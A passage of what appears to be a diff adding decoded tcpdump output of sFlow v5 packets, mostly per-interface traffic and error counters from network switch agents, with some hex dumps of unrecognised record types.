+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+IP (tos 0x0, ttl 253, id 27101, offset 0, flags [none], proto UDP (17), length 1136)
+    15.184.1.194.3099 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.1.194, agent-id 1, seqnum 10354086, uptime 15618312, samples 6, length 1108
+	expanded counter sample (4), length 172, seqnum 2007421, type 0, idx 29, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 29, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 82208831, unicast pkts 403685, multicast pkts 1054, broadcast pkts 8246, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 4103781979, unicast pkts 294994, multicast pkts 2198185, broadcast pkts 48352457, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007311, type 0, idx 30, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 30, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 92569896, unicast pkts 433051, multicast pkts 1312, broadcast pkts 12292, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 4037227515, unicast pkts 268387, multicast pkts 2197973, broadcast pkts 48326301, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2018134, type 0, idx 50, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 50, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 1215684621, unicast pkts 3179986010, multicast pkts 4299773, broadcast pkts 2959481171, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 832983248, unicast pkts 684975702, multicast pkts 1115367, broadcast pkts 45280648, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 1221174, type 0, idx 51, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 51, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 576720530, unicast pkts 537564819, multicast pkts 1613151, broadcast pkts 660268633, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 428264565, unicast pkts 1068854786, multicast pkts 344705, broadcast pkts 9140809, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 1221287, type 0, idx 52, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 52, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 3028289271, unicast pkts 458255786, multicast pkts 651461, broadcast pkts 541454, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3361225808, unicast pkts 1109386475, multicast pkts 163507, broadcast pkts 8683, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 1221183, type 0, idx 53, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 53, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 2050689076, unicast pkts 476082627, multicast pkts 164214, broadcast pkts 21756786, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 2159078261, unicast pkts 1043897297, multicast pkts 163510, broadcast pkts 210489, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+IP (tos 0x0, ttl 62, id 0, offset 0, flags [DF], proto UDP (17), length 452)
+    15.184.13.248.50229 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.13.52, agent-id 100, seqnum 26626, uptime 798762000, samples 1, length 424
+	counter sample (2), length 388, seqnum 26626, type 2, idx 1, records 6
+	    enterprise 0, Unknown (2001) length 36
+		0x0000:  0000 0002 0000 0002 0000 0001 d485 64cc
+		0x0010:  6024 0000 0000 0003 0000 0001 d485 64cc
+		0x0020:  6025 0000
+	    enterprise 0, Unknown (2005) length 52
+		0x0000:  0000 0018 3daa e800 0000 0016 50cb 8000
+		0x0010:  0000 07e5 0000 bac1 0000 0000 29ac 2400
+		0x0020:  0003 3cc1 0044 1f88 0000 000c eeff 1000
+		0x0030:  0011 78ce
+	    enterprise 0, Unknown (2004) length 72
+		0x0000:  0000 0003 caa6 5000 0000 0003 9dc3 3000
+		0x0010:  0000 0000 0000 0000 0000 0000 0a33 d000
+		0x0020:  0000 0000 1a2a 4000 0000 0000 7ff5 6000
+		0x0030:  0000 0000 7ff5 6000 0005 3fea 019d dfe2
+		0x0040:  0000 0000 0000 0000
+	    enterprise 0, Unknown (2003) length 68
+		0x0000:  0000 0000 0000 0000 0000 0000 0000 0001
+		0x0010:  0000 0153 0000 0018 0000 0640 000c 3077
+		0x0020:  0033 efdc 0000 02da 0015 f7b6 7652 2a4a
+		0x0030:  0002 204c 0000 36ba 0001 458c 306c a669
+		0x0040:  e653 ddf6
+	    enterprise 0, Unknown (2006) length 40
+		0x0000:  0000 0000 2550 2198 005a d481 0000 0000
+		0x0010:  0000 0000 0000 0000 1a2e 15ef 002a 4d2a
+		0x0020:  0000 0000 0000 0000
+	    enterprise 0, Unknown (2000) length 60
+		0x0000:  0000 000a 7573 6530 3337 3130 6666 0000
+		0x0010:  3431 3036 3630 5355 4530 3337 3130 4646
+		0x0020:  0000 0003 0000 0002 0000 000e 322e 362e
+		0x0030:  3138 2d31 3934 2e65 6c35 0000
+IP (tos 0x0, ttl 254, id 0, offset 0, flags [none], proto UDP (17), length 100)
+    168.87.240.1.40000 > 15.184.3.9.6343: sFlow version 327681 packet not supported
+IP (tos 0x0, ttl 254, id 0, offset 0, flags [none], proto UDP (17), length 148)
+    168.87.240.1.40000 > 15.184.3.9.6343: sFlow version 327682 packet not supported
+IP (tos 0x0, ttl 254, id 8886, offset 0, flags [none], proto UDP (17), length 100)
+    168.87.240.1.40000 > 15.184.3.9.6343: sFlow version 327681 packet not supported
+IP (tos 0x0, ttl 254, id 0, offset 0, flags [none], proto UDP (17), length 148)
+    168.87.240.2.40000 > 15.184.3.9.6343: sFlow version 327682 packet not supported
+IP (tos 0x0, ttl 254, id 50954, offset 0, flags [none], proto UDP (17), length 596)
+    168.87.240.3.50340 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.1.129, agent-id 6, seqnum 444099, uptime 127119529, samples 3, length 568
+	expanded counter sample (4), length 172, seqnum 147400, type 0, idx 65, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 65, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 71855431, unicast pkts 5778, multicast pkts 294751, broadcast pkts 0, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 2102528585, unicast pkts 40099, multicast pkts 368505, broadcast pkts 42768255, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 147400, type 0, idx 66, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 66, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 1, adminstatus: up, operstatus: down
+	      In octets 25177702, unicast pkts 0, multicast pkts 104472, broadcast pkts 4, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 39878920, unicast pkts 4387, multicast pkts 261178, broadcast pkts 1, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 147400, type 0, idx 67, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 67, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 1, adminstatus: up, operstatus: down
+	      In octets 25284454, unicast pkts 0, multicast pkts 104859, broadcast pkts 4, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 31308450, unicast pkts 5841, multicast pkts 133252, broadcast pkts 299, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+IP (tos 0x0, ttl 253, id 12213, offset 0, flags [none], proto UDP (17), length 1316)
+    15.184.1.195.4942 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.1.195, agent-id 1, seqnum 10499687, uptime 12975660, samples 7, length 1288
+	expanded counter sample (4), length 172, seqnum 2007196, type 0, idx 1, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 1, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 2460750, unicast pkts 22544, multicast pkts 5, broadcast pkts 6408, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3991394888, unicast pkts 131978, multicast pkts 2198965, broadcast pkts 48358863, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2006746, type 0, idx 2, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 2, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 122196260, unicast pkts 82823825, multicast pkts 710, broadcast pkts 38540, discards 0
+	      In errors 2, unknown protos 0
+	      Out octets 3744715166, unicast pkts 93942161, multicast pkts 2218252, broadcast pkts 48317917, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 2, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007119, type 0, idx 3, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 3, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 87175881, unicast pkts 11173387, multicast pkts 1312, broadcast pkts 7310, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 2575091711, unicast pkts 8663056, multicast pkts 1949260, broadcast pkts 8701202, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007649, type 0, idx 4, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 4, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 3013639728, unicast pkts 424917338, multicast pkts 1216, broadcast pkts 196654, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 584569975, unicast pkts 294167698, multicast pkts 1948957, broadcast pkts 8512276, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 1832885, type 0, idx 5, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 5, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 3835856598, unicast pkts 6812799, multicast pkts 1145, broadcast pkts 705277, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 2182764482, unicast pkts 8284848, multicast pkts 2738770, broadcast pkts 7987023, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007140, type 0, idx 6, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 6, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 21722, unicast pkts 0, multicast pkts 12, broadcast pkts 37, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 1874046630, unicast pkts 98496, multicast pkts 1955062, broadcast pkts 20311836, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2006987, type 0, idx 7, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 7, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 3474926128, unicast pkts 10088201, multicast pkts 1463, broadcast pkts 14105, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 831378843, unicast pkts 12805926, multicast pkts 1954494, broadcast pkts 20293371, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+IP (tos 0x0, ttl 253, id 12214, offset 0, flags [none], proto UDP (17), length 1316)
+    15.184.1.195.4942 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.1.195, agent-id 1, seqnum 10499688, uptime 12975661, samples 7, length 1288
+	expanded counter sample (4), length 172, seqnum 2007115, type 0, idx 8, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 8, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 3858988244, unicast pkts 13191097, multicast pkts 1215, broadcast pkts 24593, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 2559232288, unicast pkts 16126546, multicast pkts 1954848, broadcast pkts 20284434, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007002, type 0, idx 9, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 9, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 3386316332, unicast pkts 14360061, multicast pkts 1244, broadcast pkts 16485, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 1675799221, unicast pkts 15790519, multicast pkts 1954451, broadcast pkts 20291230, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2005310, type 0, idx 10, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 10, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 1558898282, unicast pkts 162603641, multicast pkts 1331, broadcast pkts 188407, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3568458900, unicast pkts 162582480, multicast pkts 1953553, broadcast pkts 20106785, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007257, type 0, idx 11, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 11, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 125808339, unicast pkts 691735, multicast pkts 2539, broadcast pkts 22184, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 1249750181, unicast pkts 33020559, multicast pkts 2196657, broadcast pkts 48342104, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007179, type 0, idx 12, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 12, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 45949249, unicast pkts 205456, multicast pkts 1743, broadcast pkts 8308, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 4019313234, unicast pkts 210496, multicast pkts 2197587, broadcast pkts 48353561, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007156, type 0, idx 13, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 13, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 32111027, unicast pkts 143922, multicast pkts 1193, broadcast pkts 5276, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 4050797426, unicast pkts 198665, multicast pkts 2197850, broadcast pkts 48353779, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2006876, type 0, idx 14, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 14, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 19576, unicast pkts 19, multicast pkts 5, broadcast pkts 30, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3990801228, unicast pkts 107683, multicast pkts 2199048, broadcast pkts 48364452, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+IP (tos 0x0, ttl 253, id 12215, offset 0, flags [none], proto UDP (17), length 1316)
+    15.184.1.195.4942 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.1.195, agent-id 1, seqnum 10499689, uptime 12975663, samples 7, length 1288
+	expanded counter sample (4), length 172, seqnum 2007175, type 0, idx 15, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 15, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 96700793, unicast pkts 453020, multicast pkts 2568, broadcast pkts 22804, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 4042743345, unicast pkts 379591, multicast pkts 2196676, broadcast pkts 48338646, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007086, type 0, idx 16, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 16, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 289703711, unicast pkts 1654844, multicast pkts 37302, broadcast pkts 22784, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 4098637095, unicast pkts 801788, multicast pkts 2166613, broadcast pkts 48320960, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007172, type 0, idx 17, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 17, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 45204461, unicast pkts 194096, multicast pkts 1700, broadcast pkts 8788, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 4014792810, unicast pkts 198133, multicast pkts 2197652, broadcast pkts 48351768, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007170, type 0, idx 18, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 18, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 95210366, unicast pkts 443561, multicast pkts 2169, broadcast pkts 24997, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 4035379503, unicast pkts 332327, multicast pkts 2196767, broadcast pkts 48336027, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007265, type 0, idx 19, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 19, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 1379521296, unicast pkts 50010620, multicast pkts 1046, broadcast pkts 48921, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 435976335, unicast pkts 57993600, multicast pkts 2197958, broadcast pkts 48315375, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007258, type 0, idx 20, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 20, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 312017292, unicast pkts 47238597, multicast pkts 1476, broadcast pkts 23377, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3242136708, unicast pkts 57532634, multicast pkts 2198069, broadcast pkts 48339981, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2009605, type 0, idx 21, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 21, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 4127607826, unicast pkts 29906144, multicast pkts 1233, broadcast pkts 69575, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 2091792747, unicast pkts 3024931093, multicast pkts 2198065, broadcast pkts 48294332, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+IP (tos 0x0, ttl 253, id 12216, offset 0, flags [none], proto UDP (17), length 1316)
+    15.184.1.195.4942 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.1.195, agent-id 1, seqnum 10499690, uptime 12975664, samples 7, length 1288
+	expanded counter sample (4), length 172, seqnum 2007105, type 0, idx 22, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 22, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 124432239, unicast pkts 511115, multicast pkts 21969, broadcast pkts 120004, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3066166092, unicast pkts 2595939, multicast pkts 2177143, broadcast pkts 48244891, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2008569, type 0, idx 23, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 23, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 142412715, unicast pkts 4067695849, multicast pkts 1301, broadcast pkts 59350, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3335716564, unicast pkts 2083658988, multicast pkts 2198160, broadcast pkts 48304443, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2009650, type 0, idx 24, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 24, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 1376243919, unicast pkts 42736656, multicast pkts 1161, broadcast pkts 37177, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3949008841, unicast pkts 3045234063, multicast pkts 2197974, broadcast pkts 48326808, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2009622, type 0, idx 25, records 2
